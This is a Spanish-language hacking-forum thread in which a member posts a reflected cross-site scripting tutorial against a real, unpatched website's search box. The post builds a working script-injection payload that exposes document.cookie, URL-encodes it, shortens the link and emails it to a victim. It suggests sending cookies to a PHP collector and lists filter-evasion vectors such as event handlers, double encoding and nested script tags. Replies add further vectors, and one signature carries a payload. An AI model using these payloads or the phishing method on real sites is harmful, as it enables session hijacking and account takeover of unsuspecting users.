comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Cross Site Scripting (XSS) y Vectores de Evasion

  • 4 Respuestas
  • 2425 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 412
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« en: Abril 04, 2013, 02:28:11 pm »
Cross Site Scripting (XSS) y Vectores de Evasion

Bueno Antes que Nada este es solo un modelo de las posibilidades que brinda esta vulnerabilidad
recomiendo utilizar Firefox ya que Chrome tiene un bloqueo de Pop-up que nos va a impedir explotar comodamente el fallo

A tener en Cuenta:


Existe 2 tipos de XSS (Cross Site Scripting) ambos se basan en la ejecucion de codigo JavaScript sin que el ClientSide este pendiente de que esto va a suceder.

Reflected:


Son Aquellos producidos por un reflejo del Vector ingresado en el codigo html, por ej: Impresion de la Busqueda en una Web

Stored:


Son Aquellos Cuyo Vector ingresado queda registrado y/o impreso directamente en el contenido html de la Web Afectada.

Un Ej de esto seria un comentario de Moderacion que se guarda en una base de datos de gestion web por un Panel de Administracion, para darle el visto bueno.

Al Ingresar por ej un Script del tipo <script>alert("XSS")</script> no lo veriamos ejecutarce porq este esta pendiente de moderacion,
el Administrador al Ingresar al Panel de Moderacion este comentario se ejecutaria al momento de Moderar el Comentario. (Situacion Ideal)

Esto se puede utilizar para robar Cookies para luego lograr logearnos como ese Usuario.

Desarrollo:


En Fin Ambos Ataques se diferencian unicamente en el alcanse que poseen, XSS Reflected requiere un poco de ingenieria social para lograr nuestro Objetico

Hoy Vamos a Tomar como ejempo a You are not allowed to view links. Register or Login que posee un fallo de XSS Reflected que reportado numerosas veces sin tener respuestas ni ver Correccion del Bug.

Comencemos:


Abrimos en Nuestro Navegador You are not allowed to view links. Register or Login y vemos un flamante campo de Busqueda, interesado en ver que sucede ingreso un Vector de Busqueda.

Vector de Busqueda: >AQUI<

Inspeccionamos Elementos con Chrome y buscamos dentro del Codigo html la palabra AQUI




Vemos que no produce ningun tipo de Evacion ni Filtrado ante los caracteres ">" ni "<" esto da pie a pensar que vulnerable sin siquiera tener
que evadir con Double Encode.

Analicemos:

Código: You are not allowed to view links. Register or Login
<input type="text" name="textoBusqueda" class="texto" value=">AQUI<">
lo que intentaremos lograr es sacar nuestro Vector de Ataque fuera del input, como podemos ver la propiedad Value abre y cierra con doble comilla
intentaremos cerrar value, luego cerrar el input, injectar el vector y comentar el resto del codigo html

Escapando de la propiedad Value:


Para lograr esto en nuestro vector inyectaremos unas comillas dobles (")

esto quedara de la siguiente manera:

Código: You are not allowed to view links. Register or Login
<input type="text" name="textoBusqueda" class="texto" value=""">
como podemos ver queda por demas al final de la etiqueta un " antes del cierre >

Escapando del Input:


Ahora escaparemos del input, la logica de lo que vemos dice q se cierra con un ">" pero con un conocimiento minimo de html sabremos que las etiquetas input se cierran con /> aunque el inspector de Elementos de Chrome diga lo contrario.

Inyectaremos como Vector "/>

y nos quedara de la siguiente manera:

Código: You are not allowed to view links. Register or Login
<input type="text" name="textoBusqueda" class="texto" value=""/>">
Como vemos queda de mas al final de nuestro input "> esto producira un error de sintaxis por lo que deseamos eliminar esto ultimo
y lo vamos a lograr comentando el resto del codigo html

Por lo que agregaremos un <!-- al final de nuestro vector:

Código: You are not allowed to view links. Register or Login
"/><!--
y quedara una ves ejecutado:
Código: You are not allowed to view links. Register or Login
<input type="text" name="textoBusqueda" class="texto" value=""/><!--">
dejando sin utilidad todo lo posterior a nuestra apertura de Comentario.

Si probamos este codigo veremos que no se ejecuta nada pero la busqueda se realiza con exito.







Al ver el contenido con el Inspector de Elementos, vemos que value aparece sin ningun valor y que el resto del codigo esta comentado:
Código: You are not allowed to view links. Register or Login
<input type="text" name="textoBusqueda" class="texto" value="">
y esto es lo que estamos buscando, terminaremos la inyeccion agregando a nuestro vector justo antes de comentar (<!--) el codigo JavaScript que deseamos ejecutar

quedando de la siguiente manera:

Vector:


Código: You are not allowed to view links. Register or Login
"/><script>alert(document.cookie)</script><!--
Reflejo Web:

Código: You are not allowed to view links. Register or Login
<input type="text" name="textoBusqueda" class="texto" value="""/><script>alert(document.cookie)</script><!--">
esto producira que el codigo JavaScript se ejecute:

Si leyeron el Comienzo de este Tutorial veran que recomiendo usar Firefox para completar la explotacion ya que Chrome previene de ventanas Emergentes.





Vemos que se Ejecuta con Exito y deja Expuesto la cookie del Usuario.

Ingenieria Social:


Podriamos agregar en nuestro script una redireccion a un archivo php que almacenara esta cookie, y lo vamos a lograr con un poco de Ingenieria Social para explotar este Reflected XSS. Solo que en nuestro caso no robaremos la cookie solo Mostraremos un Alert a La Victima ya que estamos sobre un rubro etico.

Como vemos nuestro Vector de Ataque se produce por GET por lo que veremos nuestra inyeccion en la URL de nuestro Navegador:

You are not allowed to view links. Register or Login"%2F><script>alert(%2FRobe tu Cookie%2F)<%2Fscript><!--&categoriaSubcategoria=null&buscar2=buscar

Los Caracteres Especiales que se Pueden Ver son Simplemente nuestros tags en URL Encode.

Acortaremos esta URL con algun acortador de URL. En este caso utilizare You are not allowed to view links. Register or Login




Dandonos como resultado este Link:

You are not allowed to view links. Register or Login

Solo resta Enviar a Nuestra Victima este Link con algun discurso para que lo Abra en su Navegador.





Al revisar nuestra bandeja de entrada, vemos como el link cayo como Seguro y sin pasar al buzon de Spam




Al Hacer Click en el link Sucede la Magia:





Evasion de Filtros en XSS


Existe Distintos metodos de evacion utlizando metodos propios de javascript dentro de las etiquetas html que queremos inyectar, por Ej

Código: You are not allowed to view links. Register or Login
<b onLoad=alert(/XSS/)></b>
<img src=. onerror=alert(/XSS/)>

Utilizar un Doble Encode Codificando 2 veces el Vector con URL Encode antes de ingresarlo

Código: You are not allowed to view links. Register or Login
<b onLoad=alert(/XSS/)></b> A Double Encode:

%253Cb%2520onLoad%253Dalert%2528%252fXSS%252f%2529%253E%253C%252fb%253E

Double Tag para saltar StripTags
Código: You are not allowed to view links. Register or Login
<scr<script>ipt>alert(/XSS/)</scr<script>ipt><!--
StripTag eliminara la etiqueta <script> y unira la etiqueta divididada.

Estos son unos de Muchos Otros Metodos de Evasion.
« Última modificación: Noviembre 23, 2014, 01:41:16 pm por Expermicid »

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado Jimeno

  • *
  • Underc0der
  • Mensajes: 367
  • Actividad:
    0%
  • Reputación -1
  • NULL
    • Ver Perfil
    • Twitter
  • Skype: migueljimeno96
  • Twitter: &quot;&gt;&lt;&lt;img src=y onerror=prompt();&gt;
« Respuesta #1 en: Abril 04, 2013, 02:42:35 pm »
¡Tremendo hdbreaker!
Lo que más me ha gustado el apartado de la ingeniería social, jajajaja.

Aunque he echado en falta en los vectores de evasión el ya mítico alert(String.fromCharCode(88, 83, 83))

Saludos. ((:
Contacto: @migueljimeno96 -

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 206
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« Respuesta #2 en: Abril 04, 2013, 03:13:14 pm »
Muy bien explicado, lo unico que el double encoding solo sirve para evadir algunos WAF mal configurados y no ciertas funciones de filtro como htmlentities(), htmlespecialchars(), se que en ningun momento te referiste a ese plano, pero lo explico por si alguno le quedan dudas al leer el post. saludos!

Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 536
  • Actividad:
    10%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #3 en: Abril 05, 2013, 12:22:48 am »
Excelente bro de los mejores aportes de xss del foro un saludo :D

Desconectado zoro248

  • *
  • Underc0der
  • Mensajes: 242
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #4 en: Abril 05, 2013, 01:47:21 am »
Excelente, muy bien explicado

 

¿Te gustó el post? COMPARTILO!



Deface un site utilizando shell c99 por keymort

Iniciado por ..::key-m0rt::..

Respuestas: 4
Vistas: 3699
Último mensaje Marzo 30, 2011, 08:56:50 pm
por Devilboy
SQLi Site Scanner (SQPY)

Iniciado por hdbreaker

Respuestas: 3
Vistas: 3760
Último mensaje Octubre 06, 2014, 01:08:40 am
por Baku
Vectores de Ataque Xss

Iniciado por Dedalo

Respuestas: 2
Vistas: 3242
Último mensaje Agosto 10, 2013, 08:26:04 pm
por Anton
Ataques CSRF (Cross site request forgery)

Iniciado por M5f3r0

Respuestas: 11
Vistas: 5421
Último mensaje Septiembre 09, 2013, 03:48:08 pm
por M5f3r0
Cross Site Request Forgery /Matabarras/

Iniciado por Matabarras

Respuestas: 1
Vistas: 1464
Último mensaje Abril 28, 2013, 10:21:43 am
por Pr0ph3t